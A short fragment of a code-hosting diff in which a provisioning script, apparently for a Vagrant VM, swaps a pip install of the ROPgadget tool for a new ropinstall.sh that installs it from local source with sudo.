python3 -m pip uninstall --yes ROPgadget
|
||||
|
||||
cd /home/vagrant/cw && ./ropinstall.sh
|
||||
|
||||
sudo apt-get clean
|
||||
|
||||
|
||||
4
ropinstall.sh
Executable file
4
ropinstall.sh
Executable file
@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
|
||||
cd ROPgadget && sudo python3 setup.py install
|
||||
|
||||
Loading…
Reference in New Issue
Block a user